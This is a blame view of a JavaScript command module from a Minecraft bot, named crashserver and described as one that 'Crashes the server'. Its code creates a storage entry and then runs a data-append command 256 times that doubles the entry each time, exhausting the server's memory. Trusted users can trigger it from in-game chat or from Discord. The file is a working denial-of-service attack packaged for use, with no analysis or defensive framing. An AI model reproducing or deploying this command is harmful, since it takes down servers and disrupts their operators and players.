chomens-bot-js/commands/crashserver.js

28 lines
646 B
JavaScript
Raw Permalink Normal View History

2022-11-27 02:35:28 -05:00
const sleep = require('sleep-promise')
2022-11-17 08:10:39 -05:00
/**
* crash server
* @param {object} bot bot object
*/
2022-11-27 02:35:28 -05:00
async function crash (bot) {
bot.core.run('data merge storage crash {data:[0]}')
2022-11-27 02:35:28 -05:00
await sleep(1000)
2022-11-27 02:35:28 -05:00
for (let i = 0; i < 256; i++) bot.core.run('data modify storage crash data append from storage crash data[]')
}
2022-10-14 04:46:41 -04:00
module.exports = {
name: 'crashserver',
alias: [],
description: 'Crashes the server',
usage: '<hash>',
trusted: 1,
execute (bot, username, sender, prefix, args, config, hash, ownerhash, selector) {
2022-11-27 02:35:28 -05:00
crash(bot)
2022-10-14 04:46:41 -04:00
},
discordExecute (bot, username, sender, prefix, args, channeldc, message) {
2022-11-27 02:35:28 -05:00
crash(bot)
}
}